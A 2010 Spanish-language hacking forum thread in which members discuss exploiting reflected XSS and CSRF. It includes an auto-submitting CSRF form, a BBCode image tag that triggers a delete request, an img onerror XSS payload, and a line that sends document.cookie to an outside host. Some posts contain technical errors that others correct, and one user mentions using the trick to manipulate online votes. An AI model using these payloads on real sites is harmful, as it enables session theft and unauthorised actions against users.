Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: IWKY en 24 Enero 2010, 00:52 am



Título: Duda sobre xss
Publicado por: IWKY en 24 Enero 2010, 00:52 am
Hola me surge una duda sobre XSS, cuando hay un bug xss que no es persistente, o sea que solo afecta si introduces cierta información en el buscador interno de la web, por ejemplo. La única manera que se me ocurre de explotarlo para obtener información de otros usuarios es por ejemplo enviar un mail con la dirección modificada a algún usuario y al pinchar se les ejecutará el xss, eso si la petición en el buscador se hace por  GET, pero si se hace por POST, ¿cómo se podría explotar? o no se podría simplemente. ¿Seria este un posible procedimiento para explotar xss no persistentes?

Saludos.


Título: Re: Duda sobre xss
Publicado por: WHK en 24 Enero 2010, 02:17 am
Hola, desde el correo envias un enlace hacia una web tuya que puede estar en un hosting gratuito, luego haces el form con todos sus valores dentro de el y cuando esa persona lo visualize entonces se activaría una función en ‭‬‭‬javascript que va autoenviar el formulario con document.formulario.submit(); talves encerrado dentro del tag body y escrito dentro de onload y si se llega a ejecutar de esa forma significa que también es vulnerable a csrf.


Título: Re: Duda sobre xss
Publicado por: Castg! en 24 Enero 2010, 06:01 am
o sino tambien esta la posibilidad de ajax, aunque se ocmplica un poco mas...


Título: Re: Duda sobre xss
Publicado por: braulio-- en 24 Enero 2010, 12:03 pm
Hola, desde el correo envias un enlace hacia una web tuya que puede estar en un hosting gratuito, luego haces el form con todos sus valores dentro de el y cuando esa persona lo visualize entonces se activaría una función en ‭‬‭‬‭‬javascript que va autoenviar el formulario con document.formulario.submit(); talves encerrado dentro del tag body y escrito dentro de onload y si se llega a ejecutar de esa forma significa que también es vulnerable a csrf.
Que un buscador sea vulnerable a CSRF es algo importante?
Si se comprobara un token sería muy difícil de  explotar el XSS no?


Título: Re: Duda sobre xss
Publicado por: WHK en 24 Enero 2010, 18:06 pm
asi es, pero un token significa que es un valor aleatorio no siempre el mismo o si no se podría automatizar y la idea es que no se pueda aunque solo podria solucionar el problema en ese "buscador" aunque no es una buena práctica solucionar un xss evitando csrf ya que en una buena programación debes evitar el xss también y ojala no ponerle token al buscador o si no vas a impedir que otros compartan resultados de busquedas con otras personas o páginas, además si es persistente de nada te sirve el token.


Título: Re: Duda sobre xss
Publicado por: braulio-- en 24 Enero 2010, 19:41 pm
Tu recomendarías poner una medida anti CSRF a un buscador? Aparte de las medidas XSS.
Tu lo haces?


Título: Re: Duda sobre xss
Publicado por: IWKY en 24 Enero 2010, 19:55 pm
Hola, desde el correo envias un enlace hacia una web tuya que puede estar en un hosting gratuito, luego haces el form con todos sus valores dentro de el y cuando esa persona lo visualize entonces se activaría una función en ‭‬‭‬‭‬‭‬javascript que va autoenviar el formulario con document.formulario.submit(); talves encerrado dentro del tag body y escrito dentro de onload y si se llega a ejecutar de esa forma significa que también es vulnerable a csrf.

No le veo sentido, porque así como dices la web es mía por que la he creado yo y es de cualquier temática o es una copia de la web vulnerable?

Hagamos un supuesto, de que encuentro una web vulnerable a xss, eso quiere decir que habrá algún lugar en la web donde yo podré introducir datos, esos datos estarán escritos de forma adecuada para que cuando se interprete el código html se ejecute el código que yo he introducido, hasta ahí bien. Ahora viene como procesa la web esa información que yo he introducido, puede que la lea a través de un método GET o un método POST.

Si la información la procesa por el método GET, ¿Cómo se haría el ataque?
Creando un web copia de la original, hospedarla en un hosting (al que pueda acceder) y enviar un correo electrónico a la víctima engañandola para que pulse el enlace rellene los campos y cuando envié el formulario copiarme los datos en el hosting y redirigir a la víctima a la web original. Eso es lo que he deducido de tu post WHK, por otra parte lo que acabo de explicar ¿se podría considerar phishing?

O por otra parte solo habría que enviarle un enlace con toda la información referente al ataque, vamos el código malicioso par que nos entendamos, en la misma petición GET, y cuando acceda a la web a través de ese enlace se le ejecutara el código, y se obtendrán los datos que se quieran obtener.

Si la información la procesa por el método POST, ¿Cómo se haría el ataque?
No tengo ni idea de como se podría hacer el ataque.


Por otra parte nunca he entendido el ataque CSRF, así que menos saber como explotarlo.


Título: Re: Duda sobre xss
Publicado por: ~ Yoya ~ en 24 Enero 2010, 20:48 pm
Bueno aqui doy algunos metodos de atake CSRF mediante peticion GET y POST.

Bueno, tener claro que algunas veces los formularios envían datos por POST pero pasan la variable por $_REQUEST, osea que aunque el formulario la envié por post puedes enviar una petición GET y te la aceptara.

Ok, ahora si tenemos CSRF por metodo GET podemos hacer lo siguiente.
Si se puede usar BBCODE utilisaremos tags que se ejecutan al visualisarlo como puede ser los tag de
img, y entre los tags de imagenes insertamos el CSRF y al visualisar la img estara haciendo la peticion GET.
Código:
[IMG]http://serve.com/usuario/eliminar.php
[/IMG]

Por metodo post.
Primero crearemos un formulario que tenga los valores puesto y todo y lo enviaremos con javascript.
Código:
<html><body>
<form name="topic" method="post" action="http://serve.com/crear_post.php">
<textarea name='topic' rows='5' cols='50' value='lalallalala'></textarea>
</form>
<script>document.topic.submit()</script>
</body></html>

Luego lo subimos a un host. Ahora lo que haremos es llamar nuestro scrit y crear el post.
Con esto lo llamaria:
Código:
<IMG SRC="http://host.com/formulario_que_enviara_el_CSRF.html">
Y al tratar de visualisar la img estaria ejecutando el formulario xD.

Saludos.


Título: Re: Duda sobre xss
Publicado por: Castg! en 24 Enero 2010, 21:49 pm
asi de facil se ejecuta javascript en una imgaen :s seria muy facil robar cookies...


Título: Re: Duda sobre xss
Publicado por: ~ Yoya ~ en 24 Enero 2010, 21:54 pm
asi de facil se ejecuta ‭‬‭‬javascript en una imgaen :s seria muy facil robar cookies...

No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..

Y otra cosa, Yo no estoy ejecutando javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo javascript, osea el javascript se esta ejecutando en el host que tengo el archivo con javascript y no en la pagina que quiero atakar.


Título: Re: Duda sobre xss
Publicado por: braulio-- en 24 Enero 2010, 22:01 pm
asi de facil se ejecuta ‭‬‭‬‭‬javascript en una imgaen :s seria muy facil robar cookies...

No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..

Y otra cosa, Yo no estoy ejecutando ‭‬javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo ‭‬javascript, osea el ‭‬javascript se esta ejecutando en el host que tengo el archivo con ‭‬javascript y no en la pagina que quiero atakar.
Me parece que te equivocas, está bien, el javascript no se ejecuta, el php si.
Ahora, bbcode no es un lenguaje que el navegador interprete, el bbcode se transforma a html cuando se manda al foro.
(http://urldefoto) = <img src=urldefoto> (pero con mas atributos)
La petición siempre es get si lo haces desde un src o similar.


Título: Re: Duda sobre xss
Publicado por: Castg! en 24 Enero 2010, 22:15 pm
estas ejecutando el codigo javascript "document.topic.submit()" eso es javascript, y se fuera como vos decis yo te pongo, "window.location = 'miweb.com/cookie?c='+document.cookie"


Título: Re: Duda sobre xss
Publicado por: braulio-- en 24 Enero 2010, 22:18 pm
asi de facil se ejecuta ‭‬‭‬‭‬javascript en una imgaen :s seria muy facil robar cookies...

No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..

Y otra cosa, Yo no estoy ejecutando ‭‬javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo ‭‬javascript, osea el ‭‬javascript se esta ejecutando en el host que tengo el archivo con ‭‬javascript y no en la pagina que quiero atakar.
Y es verdad, no me fijé, el javascript no se ejecuta en el server.


Título: Re: Duda sobre xss
Publicado por: ~ Yoya ~ en 24 Enero 2010, 22:48 pm
asi de facil se ejecuta ‭‬‭‬‭‬‭‬‭‬javascript en una imgaen :s seria muy facil robar cookies...

No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..

Y otra cosa, Yo no estoy ejecutando ‭‬‭‬‭‬javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo ‭‬‭‬‭‬javascript, osea el ‭‬‭‬‭‬javascript se esta ejecutando en el host que tengo el archivo con ‭‬‭‬‭‬javascript y no en la pagina que quiero atakar.
Y es verdad, no me fijé, el ‭‬‭‬javascript no se ejecuta en el server.
Claro tio...
Pueden mirar este post que hay un tema parecido pero por POST.
http://foro.elhacker.net/nivel_web/problema_xsrf-t277033.0.html

La mejor forma de comprenderlo es practicandolo y veras su gran potencial... Una vez lo use para unas votaciones online y puse la url entre tags de img de BBCODE y funcionaba correctamente...
Pueden provarlo en localhost...

estas ejecutando el codigo ‭‬javascript "document.topic.submit()" eso es ‭‬javascript, y se fuera como vos decis yo te pongo, "window.location = 'miweb.com/cookie?c='+document.cookie"

Claro tio funcionara perfectamente pero se estara ejecutando en el serve donde subas el archivo con ese codigo javascript y no con el serve que quieres atakar. Osea te estas robando tus propias cookies y enviandotelas xD.


Título: Re: Duda sobre xss
Publicado por: Castg! en 25 Enero 2010, 00:30 am
ahora si te entendi perfectamente, no entendia... ya esta, listo gracias ;)


Título: Re: Duda sobre xss
Publicado por: IWKY en 25 Enero 2010, 16:00 pm
Bueno aqui doy algunos metodos de atake CSRF mediante peticion GET y POST.

Bueno, tener claro que algunas veces los formularios envían datos por POST pero pasan la variable por $_REQUEST, osea que aunque el formulario la envié por post puedes enviar una petición GET y te la aceptara.

Ok, ahora si tenemos CSRF por metodo GET podemos hacer lo siguiente.
Si se puede usar BBCODE utilisaremos tags que se ejecutan al visualisarlo como puede ser los tag de
img, y entre los tags de imagenes insertamos el CSRF y al visualisar la img estara haciendo la peticion GET.
Código:
[IMG]http://serve.com/usuario/eliminar.php
[/IMG]

Por metodo post.
Primero crearemos un formulario que tenga los valores puesto y todo y lo enviaremos con ‭‬javascript.
Código:
<html><body>
<form name="topic" method="post" action="http://serve.com/crear_post.php">
<textarea name='topic' rows='5' cols='50' value='lalallalala'></textarea>
</form>
<script>document.topic.submit()</script>
</body></html>

Luego lo subimos a un host. Ahora lo que haremos es llamar nuestro scrit y crear el post.
Con esto lo llamaria:
Código:
<IMG SRC="http://host.com/formulario_que_enviara_el_CSRF.html">
Y al tratar de visualisar la img estaria ejecutando el formulario xD.

Saludos.

No digo que no se útil la información, que lo es y mucho, pero yo me quería centrar el problema en XSS, no en CSRF. no se porque el tema ha pasado a CSRF y no se ha hablado de XSS, a no ser que  se exploten de igual manera, cosa que desconozco y que me gustaría aprender, pero creo que mi duda no se ha resuelto, o por lo menos yo no la tengo resuelta, y si es que se ha dado la solución, pido disculpas por que no la veo o entiendo los posts.

Un saludo.


Título: Re: Duda sobre xss
Publicado por: ~ Yoya ~ en 25 Enero 2010, 16:18 pm
XSS es parecido aa CSRF/XSRF, tambien con XSS permanente puedes aplicar CSRF o XSS Tuneling...

Lo que pasa esque XSS no es solo robar cookies, puedes hacer atakes mas elaborado dependiendo de tu conocimiento sobre javascript y luego que quieres hacer... Porque estas aplicando puro javascript xD.


Título: Re: Duda sobre xss
Publicado por: braulio-- en 25 Enero 2010, 17:45 pm
asi de facil se ejecuta ‭‬‭‬‭‬‭‬‭‬‭‬javascript en una imgaen :s seria muy facil robar cookies...

No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..

Y otra cosa, Yo no estoy ejecutando ‭‬‭‬‭‬‭‬javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo ‭‬‭‬‭‬‭‬javascript, osea el ‭‬‭‬‭‬‭‬javascript se esta ejecutando en el host que tengo el archivo con ‭‬‭‬‭‬‭‬javascript y no en la pagina que quiero atakar.
Y es verdad, no me fijé, el ‭‬‭‬‭‬javascript no se ejecuta en el server.
Claro tio...
Pueden mirar este post que hay un tema parecido pero por POST.
http://foro.elhacker.net/nivel_web/problema_xsrf-t277033.0.html

La mejor forma de comprenderlo es practicandolo y veras su gran potencial... Una vez lo use para unas votaciones online y puse la url entre tags de img de BBCODE y funcionaba correctamente...
Pueden provarlo en localhost...

estas ejecutando el codigo ‭‬‭‬javascript "document.topic.submit()" eso es ‭‬‭‬javascript, y se fuera como vos decis yo te pongo, "window.location = 'miweb.com/cookie?c='+document.cookie"

Claro tio funcionara perfectamente pero se estara ejecutando en el serve donde subas el archivo con ese codigo ‭‬javascript y no con el serve que quieres atakar. Osea te estas robando tus propias cookies y enviandotelas xD.
Eso si lo llamas en plan [nobbcode](http://rutadelscript)[nobbcode] :
No funciona
Porque el javascript lo ejecuta solo el navegador, y si el navegador cree que eso es una imagen no buscará código javascript. El document.form.submit() lo hace el navegador no el server.


Título: Re: Duda sobre xss
Publicado por: ~ Yoya ~ en 25 Enero 2010, 17:55 pm
asi de facil se ejecuta ‭‬‭‬‭‬‭‬‭‬‭‬‭‬javascript en una imgaen :s seria muy facil robar cookies...

No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..

Y otra cosa, Yo no estoy ejecutando ‭‬‭‬‭‬‭‬‭‬javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo ‭‬‭‬‭‬‭‬‭‬javascript, osea el ‭‬‭‬‭‬‭‬‭‬javascript se esta ejecutando en el host que tengo el archivo con ‭‬‭‬‭‬‭‬‭‬javascript y no en la pagina que quiero atakar.
Y es verdad, no me fijé, el ‭‬‭‬‭‬‭‬javascript no se ejecuta en el server.
Claro tio...
Pueden mirar este post que hay un tema parecido pero por POST.
http://foro.elhacker.net/nivel_web/problema_xsrf-t277033.0.html

La mejor forma de comprenderlo es practicandolo y veras su gran potencial... Una vez lo use para unas votaciones online y puse la url entre tags de img de BBCODE y funcionaba correctamente...
Pueden provarlo en localhost...

estas ejecutando el codigo ‭‬‭‬‭‬javascript "document.topic.submit()" eso es ‭‬‭‬‭‬javascript, y se fuera como vos decis yo te pongo, "window.location = 'miweb.com/cookie?c='+document.cookie"

Claro tio funcionara perfectamente pero se estara ejecutando en el serve donde subas el archivo con ese codigo ‭‬‭‬javascript y no con el serve que quieres atakar. Osea te estas robando tus propias cookies y enviandotelas xD.
Eso si lo llamas en plan [nobbcode](http://rutadelscript)[nobbcode] :
No funciona
Porque el ‭‬javascript lo ejecuta solo el navegador, y si el navegador cree que eso es una imagen no buscará código ‭‬javascript. El document.form.submit() lo hace el navegador no el server.

Um.. claro porque el unico que interpreta el codigo javascript es el navegador, Osea, Por medio de la peticion GET con tags de img Si funciona, por medio de POST puse varias opciones como img, inframe, etc...
Por algo deje un link sobre un tema similar de ejecutar XSRF mediante POST.
http://foro.elhacker.net/nivel_web/problema_xsrf-t277033.0.html


Título: Re: Duda sobre xss
Publicado por: braulio-- en 25 Enero 2010, 18:05 pm
Yo hablo de estas cosas que dijiste :
Citar
No entiendes bien, Cuando inserto una img con BBCODE estoy haciendo una peticion GET, pero cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post. Si quieres puedes hacer una prueba..

1. El  navegador no interpreta BBCODE, el  que "interpreta" (lo que hace en realidad es transformar a html) el BBCODE es el software SMF (o el que sea), por lo tanto, cuando escribes en bbcode las tags img se transforman en el html resultante <img src=url>... .
2. La peticiones a imágenes y a iframe son siempre por GET (quizás no siempre, no lo sé , pero en este caso sí)

Y lo otro que dijiste :
Citar
Y otra cosa, Yo no estoy ejecutando ‭‬javascript en la img, lo que estoy haciendo es hacer una peticion a un archivo y ese archivo con tiene un codigo ‭‬javascript, osea el ‭‬javascript se esta ejecutando en el host que tengo el archivo con ‭‬javascript y no en la pagina que quiero atakar.
El javascript, no se ejecuta en el host que tienes el archivo, porque eso es el server, y además , la petición la haces haciendo creer al browser que lo que pide es una imagen, por lo tanto no busca código javascript dentro de ella y no puedes hacer nada con javascript.


Título: Re: Duda sobre xss
Publicado por: WHK en 25 Enero 2010, 18:56 pm
El bbcode funciona así..

Yo le doy el texto con contenido bbcode al servidor
El servidor toma el bbcode y lo transforma a html internamente, por ejemplo [img] a <img src=...
El visitante cuando ve la web verá el código html no el bbcode, el servidor le mostrará <img src=...

Tampoco puedes ejecutar javascript dentro de una imagen como por ejemplo:
Código
  1. <img src="javascript:alert(1)" />

Eso no se puede hacer porque el explorador no lo va a ejecutar, eso solo funcionaba en internet explorer 6 porque es un caso especial, ie6 está lleno de bugs pero en los exploradores de ahora eso es imposible a menos que se encuentre un hueco de seguridad.

Lo que si se puede hacer es
Código
  1. <img onerror="alert(1)" src="x" />

Pero en ese caso un xss da igual porque se supone que un xss tienes acceso a la manipulación del codigo html de la web.

En el caso del CSRF esto es totalmente aparte, si puedes evitar en parte el xss reflejado anteponiendo tokens pero si el atacante llega a encontrar la forma de obtener el token de la persona afectada entonces puede redireccionarlo hacia ese xss tal como pasa en smf y el csrf que actualmente hay y un xss que puedes explotar en el buscador de usuario que solamente tienes acceso con un token.

Ahora, esto no sirve si es persistente pero no quiero decir que con un token que evita csrf puedes evitar un xss, para nada!, lo que debes hacer es evitar el xss reparando el problema de raiz, no de forma indirecta filtrando comillas o poniendole token porque siempre habrá alguna forma de sobrepasar esos sistemas de seguridad y si todavía el código es vulnerable a xss lo pueden explotar.


Título: Re: Duda sobre xss
Publicado por: Castg! en 25 Enero 2010, 19:18 pm
claro, eso yo lo habia preguntado en otro post, lo de <img src="javascript:...">
pero lo que si se podria, es filtrar un "header(auth" en una imgaen pidiendo asi autorizacion, ahi entra la ingeneria social...


Título: Re: Duda sobre xss
Publicado por: WHK en 25 Enero 2010, 23:02 pm
eso es otro tema, no es xss ni csdf, si alguien cae en eso es porque con suerte sabe encender la pc.


Título: Re: Duda sobre xss
Publicado por: Castg! en 25 Enero 2010, 23:36 pm
jajajaj pero se puede inyectar otro codigo por imagen?


Título: Re: Duda sobre xss
Publicado por: sirdarckcat en 26 Enero 2010, 07:15 am
Citar
cuando uso por ejemplo, <img <src=""> o un iframe estoy haciendo una peticion post
lol
Citar
jajajaj pero se puede inyectar otro codigo por imagen?
JS no se ejecuta con imagenes., necesitas un <script> o una vuln de XSS.

Saludos!!


Título: Re: Duda sobre xss
Publicado por: Castg! en 26 Enero 2010, 08:14 am
ok gracias por responder...


Título: Re: Duda sobre xss
Publicado por: sirdarckcat en 26 Enero 2010, 10:10 am
porcierto...

puedes poner JS en imagenes.. pero el codigo no se va a ejecutar a menos que lo pongas en un <script> o hay XSS..




Título: Re: Duda sobre xss
Publicado por: IWKY en 28 Enero 2010, 23:01 pm
Bueno, a ver si lo he pillado, yo creo un formulario con los campos preestablecidos, ese formulario ¿Qué campos debe tener? Si fuera un foro smf ¿Seria el POST que genera el smf para hacer alguna operación? ¿Cómo crear un nuevo mensaje al foro o mensaje personal? le añado el javascript para que se envíe cuando se carga ese formulario, y ahora la dirección de ese formulario, la inserto en un mensaje al foro o dentro de algún iframe para que se ejecute la petición ha ese formulario. Y con esto ¿Qué consigo? crear un nuevo mensaje personal, por ejemplo.

La verdad no me ha quedado muy claro como explotar el xss, con lo del formulario, porque como se yo que campos debo meter.

Un saludo.


Título: Re: Duda sobre xss
Publicado por: ~ Yoya ~ en 29 Enero 2010, 00:26 am
Lo de formulario es XSRF/CSRF no XSS...


Título: Re: Duda sobre xss
Publicado por: jdc en 29 Enero 2010, 00:31 am
Hay veces que una variable post se puede enviar por url.
 
buscar.php?variable=
 
Tal cual se hace con GET